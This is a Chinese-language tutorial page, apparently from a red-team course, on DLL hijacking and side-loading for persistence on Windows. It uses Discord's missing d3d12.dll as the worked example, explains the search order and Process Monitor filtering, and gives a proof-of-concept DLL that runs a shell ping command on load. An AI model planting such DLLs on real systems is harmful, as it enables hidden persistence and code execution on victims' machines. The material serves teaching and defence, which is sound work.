Skip to main content

DLL劫持与侧加载

当一个程序启动时,诸多 DLL 文件被加载到改程序的进程内存空间中,Windows 按照特定顺序查看系统文件夹来搜索进程所需的 DLL。 DLL 劫持可以实现持久化,如果我们想方设法让一个自启动的程序载入了我们的恶意DLL文件。考虑到应用越多,DLL 劫持的机会越大,因此该章节建议学员在常用主机/VM 上操作。


我们举个例子,程序 GameCenter 是自启动的,并且在启动时载入数个 DLL 文件,其中没有明确某个 DLL 的位置。因此 DLL 文件被按照一定的搜索顺序,例如先从文件夹 A 中查看是否包含shell.dll,如果没找到则从 B 中寻找,以此类推,最终在文件夹D中找到并载入。如果我们在文件夹 A 中存放 shell.dll,因为A文件夹优先被搜索,所以直接载入在 A 文件夹中的恶意 DLL 文件,D 文件夹中的则被忽略。而 A 文件夹通常是程序的当前工作目录。实际的顺序的话,是这样的:


加载应用程序的目录,例如 C:\Program Files\Valid\
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录
系统 PATH 环境变量中的目录
用户 PATH 环境变量中的目录


也存在更简单的情况,程序所要加载的 DLL 并不存在。如图所示,我们可以看到 Discord 就广泛存在这个问题。因此我们只要在上述目录中写入一个同名的恶意 DLL 即可。

image.png

我们可以通过使用 process monitor (https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) 来过滤得到缺失的DLL:

Path ends with dll

Result is NAME NOT FOUND

image.png

用 Visual Studio 新建一个 C++ 的 DLL 项目,一份概念验证性代码如下:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "windows.h"
#include <stdlib.h>

extern "C" __declspec(dllexport) void run()
{
    MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd /c ping.exe 192.168.0.44");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

最终,我们选择 d3d12.dll。在编译 DLL 的时候,请注意如果原 DLL 是 x86的,那么我们则使用 x86 版本的 DLL,反之则是 x64 版本的 DLL。这里的话,d3d12.dll 是 x86 的。

Discord 目录下植入 d3d12.dll,重启 Discord,大概等 1 分钟,载荷触发了。

 

因为是在本地进行复现,因此我们打开一个 Pythontcpdump 的监听器记录 ICMP 请求,如果 DLL 被成功载入了,那么我们可以看到 WebICMP访问记录。


image.png

我们也可以参考相关的漏洞:https://www.exploit-db.com/exploits/44066 

除了DLL劫持外,还有DLL侧加载。如果我们贸然用自己的恶意DLL替换掉程序原本要载入的DLL,会影响其功能。而DLL侧加载技术可以在不影响程序原有功能的情况下依旧执行我们的恶意载荷。